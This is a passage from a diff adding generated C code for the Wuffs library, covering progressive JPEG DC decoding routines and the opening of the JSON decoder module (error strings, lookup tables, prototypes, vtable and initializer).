self->private_impl.f_bitstream_ri = v_pos; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ self->private_impl.f_bitstream_bits = v_bits; -+ self->private_impl.f_bitstream_n_bits = v_n_bits; -+ return v_ret; -+} -+ -+// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my) { -+ uint32_t v_ret = 0; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint8_t v_csel = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint32_t v_pos = 0; -+ uint8_t v_dc_h = 0; -+ uint32_t v_dc_symbol = 0; -+ uint32_t v_dc_ht_fast = 0; -+ uint32_t v_dc_bl = 0; -+ uint32_t v_dc_code = 0; -+ uint32_t v_dc_blm1 = 0; -+ uint32_t v_dc_ht_slow = 0; -+ uint16_t v_dc_value = 0; -+ uint16_t v_dc_extend = 0; -+ -+ v_bits = self->private_impl.f_bitstream_bits; -+ v_n_bits = self->private_impl.f_bitstream_n_bits; -+ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -+ return 2u; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi), -+ ((uint64_t)(self->private_impl.f_bitstream_ri))); -+ do { -+ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ do { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; -+ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); -+ v_dc_bl = (v_dc_ht_fast >> 8u); -+ if (v_n_bits >= v_dc_bl) { -+ v_dc_symbol = (15u & v_dc_ht_fast); -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ v_bits <<= (v_dc_bl & 63u); -+ v_n_bits -= v_dc_bl; -+ } else { -+ v_dc_code = ((uint32_t)((v_bits >> 55u))); -+ v_dc_blm1 = 8u; -+ v_bits <<= 9u; -+ v_n_bits -= 9u; -+ while (true) { -+ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; -+ if (v_dc_code < (v_dc_ht_slow >> 8u)) { -+ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ break; -+ } -+ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); -+ if (v_dc_blm1 == 0u) { -+ v_dc_symbol = 0u; -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ break; -+ } -+ } -+ } -+ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_dc_symbol; -+ v_n_bits -= v_dc_symbol; -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); -+ } while (0); -+ self->private_impl.f_mcu_current_block += 1u; -+ } -+ self->private_impl.f_mcu_current_block = 0u; -+ } while (0); -+ label__goto_done__break:; -+ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -+ if (v_pos > self->private_impl.f_bitstream_wi) { -+ v_ret = 2u; -+ } else { -+ self->private_impl.f_bitstream_ri = v_pos; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ self->private_impl.f_bitstream_bits = v_bits; -+ self->private_impl.f_bitstream_n_bits = v_n_bits; -+ return v_ret; -+} -+ -+// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my) { -+ uint32_t v_ret = 0; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint16_t v_one_lshift_scan_al = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint32_t v_pos = 0; -+ -+ v_bits = self->private_impl.f_bitstream_bits; -+ v_n_bits = self->private_impl.f_bitstream_n_bits; -+ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); -+ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -+ return 2u; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi), -+ ((uint64_t)(self->private_impl.f_bitstream_ri))); -+ do { -+ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ do { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ if ((v_bits >> 63u) != 0u) { -+ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; -+ } -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ } while (0); -+ self->private_impl.f_mcu_current_block += 1u; -+ } -+ self->private_impl.f_mcu_current_block = 0u; -+ } while (0); -+ label__goto_done__break:; -+ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -+ if (v_pos > self->private_impl.f_bitstream_wi) { -+ v_ret = 2u; -+ } else { -+ self->private_impl.f_bitstream_ri = v_pos; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ self->private_impl.f_bitstream_bits = v_bits; -+ self->private_impl.f_bitstream_n_bits = v_n_bits; -+ return v_ret; -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; -+const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; -+const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; -+const char wuffs_json__error__bad_input[] = "#json: bad input"; -+const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; -+const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; -+const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; -+const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; -+const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; -+ -+// ---------------- Private Consts -+ -+#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99u -+ -+static const uint8_t -+WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 3u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 162u, 0u, 0u, 0u, 0u, 5u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 175u, -+ 7u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 4u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 220u, 0u, 0u, 0u, -+ 0u, 1u, 136u, 0u, 0u, 2u, 140u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 138u, 0u, -+ 0u, 0u, 141u, 0u, 137u, 0u, 6u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 1u, 3u, 4u, 5u, 6u, 7u, 10u, -+}; -+ -+static const uint8_t -+WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 7u, 27u, 10u, 63u, 39u, 11u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, -+ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, -+ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, -+ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, -+ 0u, 0u, 1u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 2u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, -+ 32u, 32u, 3u, 3u, 3u, 3u, 3u, 3u, -+ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, -+ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, -+ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, -+ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, -+ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, -+ 5u, 5u, 5u, 5u, 5u, 32u, 32u, 32u, -+ 32u, 32u, 32u, 32u, 32u, 32u, 32u, 32u, -+}; -+ -+#define WUFFS_JSON__CLASS_WHITESPACE 0u -+ -+#define WUFFS_JSON__CLASS_STRING 1u -+ -+#define WUFFS_JSON__CLASS_COMMA 2u -+ -+#define WUFFS_JSON__CLASS_COLON 3u -+ -+#define WUFFS_JSON__CLASS_NUMBER 4u -+ -+#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5u -+ -+#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6u -+ -+#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7u -+ -+#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8u -+ -+#define WUFFS_JSON__CLASS_FALSE 9u -+ -+#define WUFFS_JSON__CLASS_TRUE 10u -+ -+#define WUFFS_JSON__CLASS_NULL_NAN_INF 11u -+ -+#define WUFFS_JSON__CLASS_COMMENT 12u -+ -+#define WUFFS_JSON__EXPECT_VALUE 7858u -+ -+#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856u -+ -+#define WUFFS_JSON__EXPECT_STRING 4098u -+ -+#define WUFFS_JSON__EXPECT_COMMA 4100u -+ -+#define WUFFS_JSON__EXPECT_COLON 4104u -+ -+#define WUFFS_JSON__EXPECT_NUMBER 4112u -+ -+#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160u -+ -+#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352u -+ -+static const uint8_t -+WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 0u, 0u, 15u, 15u, 0u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 0u, 15u, 1u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 11u, 2u, 4u, 15u, 12u, -+ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, -+ 4u, 4u, 3u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 7u, 15u, 8u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 9u, 15u, -+ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, -+ 15u, 15u, 15u, 15u, 10u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 5u, 15u, 6u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, -+}; -+ -+static const uint8_t -+WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, -+ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, -+ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+}; -+ -+#define WUFFS_JSON__QUIRKS_BASE 1225364480u -+ -+#define WUFFS_JSON__QUIRKS_COUNT 21u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_json__decoder__decode_number( -+ wuffs_json__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_json__decoder__decode_digits( -+ wuffs_json__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_n); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_leading( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_comment( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_inf_nan( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_trailer( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+// ---------------- VTables -+ -+const wuffs_base__token_decoder__func_ptrs -+wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__token_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_json__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_json__decoder__set_quirk), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_json__decoder__initialize( -+ wuffs_json__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = -+ wuffs_base__token_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = -+ (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_json__decoder* -+wuffs_json__decoder__alloc(void) { -+ wuffs_json__decoder* x = -+ (wuffs_json__decoder*)(calloc(1, sizeof(wuffs_json__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_json__decoder__initialize( -+ x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_json__decoder(void) { -+ return sizeof(wuffs_json__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func json.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE 